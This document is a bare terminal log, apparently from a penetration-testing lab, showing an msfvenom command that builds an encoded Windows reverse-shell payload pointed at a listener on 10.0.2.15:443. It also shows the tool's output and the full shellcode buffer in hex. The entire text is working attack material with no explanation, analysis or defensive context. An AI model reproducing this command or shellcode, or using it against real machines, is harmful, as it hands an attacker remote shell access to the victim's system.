msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=10.0.2.15 LPORT=443  -f c | tr -d '\n' | tr -d '\\x' | tr -d "\""
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai succeeded with size 378 (iteration=1)
x86/shikata_ga_nai succeeded with size 405 (iteration=2)
x86/shikata_ga_nai chosen with final size 405
Payload size: 405 bytes
Final size of c file: 1725 bytes
unsigned char buf[] = d9f6bfc5bfad6bd97424f45a29c9b15f317a1983eafc037a15274a77a97ec1acda3a92d93da9be128b7c18645e649ad37a1b71279856241171f3ae161c39934bc2db85e0be673a54158c7ac0bef5750ea78202f0945b53da2ac5d66f1c6bf30b99b7f31383dde30d0836bb54aaffa5ed0edb9667ed0a8e323c23c32a2ac2a590d83758be20115ff768b70d8ab1084ecbc9bd2ec6cf0c3148e64af949fbab973f0e507c0e722235930bb19de89cb8edcf58bf03574f9aa0c36d9ac6191b9131b1c9ae6add6475190b5e5609be7710c08fdcb560052fec45bc050cdaa2a707b6447e200f566677b1de41db80158ee826a0366127ecf544a8c23c5536ad2a04565f3371fa86a6d64134a8d42f4a298cf96f01d61c162e3297ffe6f25b98bba1351b0a1148b73d018697f13ef40ac0e81e55142b51adfb9124bf3a38c1363b694ca4dbecaa4df08bfc4d5ff646dfcc1442c886d32ffb7f51bf1ea54ae60dcd8ee2f613bb9df96551abcbe36e8dbff08b9b9a6411a29a61218de250bd0e02b9d8cd26ac4b7d3bf8fe02455a18740d2c64351e17b480a3fb;